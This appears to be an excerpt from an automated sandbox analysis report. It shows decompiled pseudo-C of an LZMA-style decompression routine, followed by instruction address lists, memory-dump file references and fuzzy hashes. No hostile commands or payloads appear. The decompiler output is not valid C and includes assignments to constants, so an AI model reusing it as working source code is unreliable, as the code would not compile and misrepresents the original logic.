							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406035
0x0040603c
0x00406042
0x00406048
0x00000000
0x0040604c
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x0040606e
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406083
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060ce
0x004060d1
0x004060f9
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d3
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060eb
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406142
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x00406147
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406164
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061aa
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406852
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x00406888
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406891
0x00406891
0x00406895
0x00406a44
0x00000000
0x00406a44
0x004068a1
0x004068a8
0x004068b0
0x004068b0
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00000000
0x00406261
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406244
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00000000
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00000000
0x00406840
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x00000000
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00406a5a
0x00406a60
0x00406a62
0x00406a69
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a04bb56d33b9fd45abb4b0c1bf3f4372dafe23577b3b22b72e760c40e3ad783
Instruction ID: b8f14fa8ad5cea51b2b9a2e46606c418b7244df3771cf842608f3b99def8c173
Opcode Fuzzy Hash: 2a04bb56d33b9fd45abb4b0c1bf3f4372dafe23577b3b22b72e760c40e3ad783
Instruction Fuzzy Hash: A3818731E00228CFDF24DFA8C8447ADBBB1FB45305F21816AD956BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406473, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406473() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
